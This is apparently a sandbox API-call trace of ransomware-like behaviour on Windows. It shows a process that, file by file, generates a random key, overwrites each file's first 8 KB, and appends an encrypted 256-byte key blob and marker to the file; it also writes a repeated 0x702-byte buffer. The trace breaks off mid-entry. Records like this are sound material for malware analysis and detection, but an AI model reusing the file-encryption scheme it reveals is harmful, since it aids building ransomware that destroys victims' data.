1 [0159.517] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0159.517] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.517] ReadFile (in: hFile=0xfe0, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.517] SetFilePointer (in: hFile=0xfe0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.517] WriteFile (in: hFile=0xfe0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.517] SetFilePointer (in: hFile=0xfe0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.517] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.517] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.518] WriteFile (in: hFile=0xfe0, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.519] WriteFile (in: hFile=0xfe0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.519] CloseHandle (hObject=0xfe0) returned 1 [0159.521] WriteFile (in: hFile=0xfec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.522] CloseHandle (hObject=0xfec) returned 1 [0159.522] WriteFile (in: hFile=0xfec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.523] CloseHandle (hObject=0xfec) returned 1 [0159.523] WriteFile (in: hFile=0xfec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.524] CloseHandle (hObject=0xfec) returned 1 [0159.526] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0159.527] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0159.527] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0159.527] ReadFile (in: hFile=0x1004, lpBuffer=0x5c3468, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.527] SetFilePointer (in: hFile=0x1004, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.528] WriteFile (in: hFile=0x1004, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.528] SetFilePointer (in: hFile=0x1004, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.528] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.528] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.528] WriteFile (in: hFile=0x1004, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.529] WriteFile (in: hFile=0x1004, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.529] CloseHandle (hObject=0x1004) returned 1 [0159.531] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0159.531] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0159.531] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0159.532] ReadFile (in: hFile=0x1004, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.536] SetFilePointer (in: hFile=0x1004, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.536] WriteFile (in: hFile=0x1004, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.537] SetFilePointer (in: hFile=0x1004, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.537] WriteFile (in: hFile=0x1004, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.538] WriteFile (in: hFile=0x1004, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.538] CloseHandle (hObject=0x1004) returned 1 [0159.539] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0159.539] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0159.539] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.540] ReadFile (in: hFile=0x1004, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.578] SetFilePointer (in: hFile=0x1004, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.578] WriteFile (in: hFile=0x1004, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.579] SetFilePointer (in: hFile=0x1004, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.579] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.579] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.579] WriteFile (in: hFile=0x1004, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.580] WriteFile (in: hFile=0x1004, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.580] CloseHandle (hObject=0x1004) returned 1 [0159.582] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0159.582] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.582] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.582] ReadFile (in: hFile=0x1004, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.582] SetFilePointer (in: hFile=0x1004, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.582] WriteFile (in: hFile=0x1004, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.582] SetFilePointer (in: hFile=0x1004, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.582] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.582] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.583] WriteFile (in: hFile=0x1004, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.584] WriteFile (in: hFile=0x1004, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.584] CloseHandle (hObject=0x1004) returned 1 [0159.587] WriteFile (in: hFile=0x100c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.588] CloseHandle (hObject=0x100c) returned 1 [0159.588] WriteFile (in: hFile=0x100c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.589] CloseHandle (hObject=0x100c) returned 1 [0159.590] WriteFile (in: hFile=0x100c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.591] CloseHandle (hObject=0x100c) returned 1 [0159.591] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0159.591] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0159.591] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.592] ReadFile (in: hFile=0x1020, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.600] SetFilePointer (in: hFile=0x1020, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.600] WriteFile (in: hFile=0x1020, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.600] SetFilePointer (in: hFile=0x1020, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.600] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.600] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.601] WriteFile (in: hFile=0x1020, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.601] WriteFile (in: hFile=0x1020, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.601] CloseHandle (hObject=0x1020) returned 1 [0159.641] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0159.641] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.641] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.641] ReadFile (in: hFile=0x1020, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.641] SetFilePointer (in: hFile=0x1020, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.641] WriteFile (in: hFile=0x1020, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.642] SetFilePointer (in: hFile=0x1020, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.642] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.642] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.642] WriteFile (in: hFile=0x1020, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.644] WriteFile (in: hFile=0x1020, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.644] CloseHandle (hObject=0x1020) returned 1 [0159.652] WriteFile (in: hFile=0x102c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.654] CloseHandle (hObject=0x102c) returned 1 [0159.655] WriteFile (in: hFile=0x102c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.657] CloseHandle (hObject=0x102c) returned 1 [0159.657] WriteFile (in: hFile=0x102c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.658] CloseHandle (hObject=0x102c) returned 1 [0159.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0159.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0159.658] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.659] ReadFile (in: hFile=0x1040, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.660] SetFilePointer (in: hFile=0x1040, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.660] WriteFile (in: hFile=0x1040, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.661] SetFilePointer (in: hFile=0x1040, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.661] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.661] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.661] WriteFile (in: hFile=0x1040, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.661] WriteFile (in: hFile=0x1040, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.661] CloseHandle (hObject=0x1040) returned 1 [0159.664] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0159.664] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0159.664] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.665] ReadFile (in: hFile=0x1040, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.665] SetFilePointer (in: hFile=0x1040, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.665] WriteFile (in: hFile=0x1040, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.665] SetFilePointer (in: hFile=0x1040, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.665] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.665] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.665] WriteFile (in: hFile=0x1040, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.666] WriteFile (in: hFile=0x1040, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.667] CloseHandle (hObject=0x1040) returned 1 [0159.672] WriteFile (in: hFile=0x104c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.674] CloseHandle (hObject=0x104c) returned 1 [0159.741] WriteFile (in: hFile=0x104c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.742] CloseHandle (hObject=0x104c) returned 1 [0159.743] WriteFile (in: hFile=0x104c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.745] CloseHandle (hObject=0x104c) returned 1 [0159.745] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0159.745] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0159.745] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0159.745] ReadFile (in: hFile=0x1060, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, 